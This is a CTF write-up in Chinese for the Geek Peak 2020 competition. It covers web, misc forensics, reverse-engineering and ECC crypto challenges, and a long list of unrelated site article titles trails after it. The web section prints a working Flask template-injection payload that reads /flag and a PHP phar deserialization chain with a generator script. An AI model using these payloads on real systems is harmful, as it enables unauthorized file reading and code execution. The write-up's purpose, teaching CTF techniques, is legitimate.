极客巅峰2020 部分WriteUp
极客巅峰
Web
★babyflask
简单的模板注入,登陆时用户名存在注入,并且只在前端过滤字符,POC:
找到_frozen_importlib_external.FileLoader类 :
利用该类读flag,payload:
/loged?name={{[].__class__.__base__.__subclasses__()[79].get_data(0,'/flag')}}
★babyphp2
首先扫描发现存在源码泄露,访问www.zip可得源码。
整个程序有登录、上传、读取三个功能,且存在classes.php可用于反序列化。
可以想到是phar反序列化,登录功能是迷惑人的,不影响上传和读取功能。
POP链的构造:
require_once 'classes.php';
$dbct = new dbCtrl();
$user = new User();
$reader = new Reader();
$user->nickname = $reader;
$user->backup = '/flag';
$dbct->token = $user;
生成phar的payload:
<?php
require_once 'classes.php';
error_reporting(E_ALL);
$dbct = new dbCtrl();
$user = new User();
$reader = new Reader();
$user->nickname = $reader;
$user->backup = '/flag';
$dbct->token = $user;
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,但是在构造好后可以更改
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($dbct); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件以及解压调用时的入口
//签名自动计算
$phar->stopBuffering();
上传后,因为read不能以phar开头,使用compress.zlib://phar://绕过:
得到flag:
Misc
★签到题
拼图完成后获得flag
FLAG值:
flag{52b79f47-dd72-4be9-9efe-f3a116dabd6d}
★baby_forensics
首先拿到是压缩包里的一个二进制文件,不知道具体是什么,那就先看下是什么文件
发现是个流量包,改下后缀,用wireshark分析下。
打开后发现是IEC 60870-5-104协议,并且通过tcp的传输流得到了客户与服务端的通信报文,如下图:
用专门的iec分析工具来看看整体的传输过程
通过对iec104标准的协议格式解析来看,能够判断在开启也就是on状态传输下的I帧中传输的是有用的数据,如下图
于是将所有的数据1项全部提取出来,并且将信息对象地址按照顺序列出,并且结合该地址是on状态即为1,没有标注即为0
2 3 6 7 10 11 13 14 19 20 22 26 27 31 32 30 40 38 39 37 34 36 42 47 46 50 54 53 64 58 66 70 72 71
标注后结果为:
011001100110110000110100011001110101111101000110010011000100000101000111
转换一下即得到隐藏的flag
最终flag为
flag{1f363c8468013726578830465d4739fe}
Reverse
★virus
IDA反编译,可以看出flag是用'-'来切割的,分为4段,对应4个迷宫,先把迷宫单独切出来,根据‘-’切割出来的字符数量可以找出对应的迷宫,写出路径
|||||||||||||||||||0 #1 1
||s|||||||||||||d||0 sdsdsdsdsdsdsddwdwdwdwdwdwdw 28
||..|||||||||||..||0
|||..|||||||||..|||0
||||..|||||||..||||0
|||||..|||||..|||||0
||||||..|||..||||||0
|||||||..|..|||||||0
||||||||...||||||||0
|||||||||||||||||||0
|||||||||||||||00000 #0 3
|||||||||||||||00000
|||||||||||||||00000 dddddddddsssssaaaaaaaaawww 26
||s.........|||00000
|||||||||||.|||00000
||d||||||||.|||00000
||.||||||||.|||00000
||.||||||||.|||00000
||..........|||00000
|||||||||||||||00000
|||||||||||||||00000 #1
||.........s|||00000
||.||||||||||||00000 #2 aaaaaaaaasssssssddddddddd 25
||.||||||||||||00000
||.||||||||||||00000
||.||||||||||||00000
||.||||||||||||00000
||.||||||||||||00000
||.........d|||00000
|||||||||||||||00000
|||||||||||||||00000
|||||||||||||||00000
|||||||||||||||00000 #3
|||..........||00000
|||.||||||||.||00000
|||.||||||||.||00000
|||.||||||||.||00000
|||.||||||||.||00000
|||s||||||||d||00000
|||||||||||||||00000 wwwwwdddddddddsssss 19
flag{4312-wwwwwdddddddddsssss-aaaaaaaaasssssssddddddddd-dddddddddsssssaaaaaaaaawww-sdsdsdsdsdsdsddwdwdwdwdwdwdw}
FLAG值:
flag{4312-wwwwwdddddddddsssss-aaaaaaaaasssssssddddddddd-dddddddddsssssaaaaaaaaawww-sdsdsdsdsdsdsddwdwdwdwdwdwdw}
★fu!k_py
uncompyle6 反编译pyc文件,得到py文件,大致逻辑如下
可以看出代码有一个9*9的约束条件,应该是一个数独,将二维数组的内容提取出来,大概长这样
填入数独在线解题网站
解出结果如下:
FLAG值: flag{145327698839654127672918543496185372218473956753296481367542819984761235521839764}
Crypto
★tryecc
首先算出A和B:
N = 598756982846857855564861803797067906933452532971372536192231
C = 4480960863875584511148612202888184984874434295853921
P1 = (40868726519566019162794925971370501749760105301423309229554,54687980868371628310908123178978977864897123871328723)
P2 = (235149117685317066108245267690004572936544028030457002179126, 1289371238921298371232163781261298731812137628190)
x, y = P1
t = (y**2 - x**3 - C) % N
x_1 = inverse_mod(x, N)
A = (x_1 * t) % N
print A
x, y = P2
B = (y**2 - x**3 - A*x) % N
print B
注意到N不是素数并且可以很快分解,因此用分解出的两个数分解建立椭圆曲线,然后小子群攻击,将最后的结果全部求CRT即可
from sage.all import *
from Crypto.Util.number import *
def get_factors(N):
res = []
for item in factor(N):
p, times = item
res += ([p] * times)
return res
N = 598756982846857855564861803797067906933452532971372536192231
C = 4480960863875584511148612202888184984874434295853921
B = 301433075006245665142066249069379803968009253292294929
A = 693404150690001177841293118214270948684961862980427571
factors = get_factors(N)
print factors
all_primes = []
all_dlogs = []
for p in factors:
P2 = (235149117685317066108245267690004572936544028030457002179126, 1289371238921298371232163781261298731812137628190)
P3 = (230807308713660443214609900462802224133677339138938919914236, 15979270783196203822523802015845150885928738960540101206481)
P4 = (48539794908526618490272854315619275063139157075919926757183, 253317587580758121061061480314672531383057603048054780326781)
E = EllipticCurve(GF(p), [A, B])
P2 = E.point(P2)
P3 = E.point(P3)
P4 = E.point(P4)
dlogs = []
primes = get_factors(P2.order())
for prime in primes:
t = P2.order() // prime
# dlog = discrete_log(t*P3, t*P2, operation='+')
dlog = discrete_log(t*P4, t*P2, operation='+')
dlogs.append(dlog)
all_primes += primes
all_dlogs += dlogs
m = crt(all_dlogs, all_primes)
print long_to_bytes(m)
- Silverlight的自定义tooltip提示工具条
- WritableBitmapEx 一瞥
- 2.认证小程序
- 【9】分页浏览的管理
- 温故而知新:silverlight中的图片资源绑定
- 页面状态保持机制(编辑中)
- mysql主从同步(5)-同步延迟状态考量(seconds_behind_master和pt-heartbea)
- ngx_pagespeed-nginx前端优化模块介绍
- Tomcat利用MSM实现Session共享方案解说
- Tomcat集群环境下session共享方案梳理(1)-通过memcached(MSM)方法实现
- nginx负载均衡(5种方式)、rewrite重写规则及多server反代配置梳理
- python常用知识梳理
- 如何打击“假货、高仿”类小程序
- centos 6x系统下源码安装mysql操作记录
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Redis数据淘汰算法
- 无损失放大低分辨率图片
- Linux内存页分配策略
- socket接口层分析
- 数据存储方式——JSON、CSV、MongoDB、Redis、MySQL
- Spring Boot引入swagger-ui 后swagger-ui.html无法访问404
- 多路复用IO内幕
- Linux信号处理
- Shopify主题title/description等SEO设置
- Golang实现守护进程
- LaTeX简单常用方法笔记
- Convolution_model_Application_v1a
- Windows平台快速安装MongoDB和Robo 3T
- Linux内存管理 - slab分配器
- akka-grpc - 基于akka-http和akka-streams的scala gRPC开发工具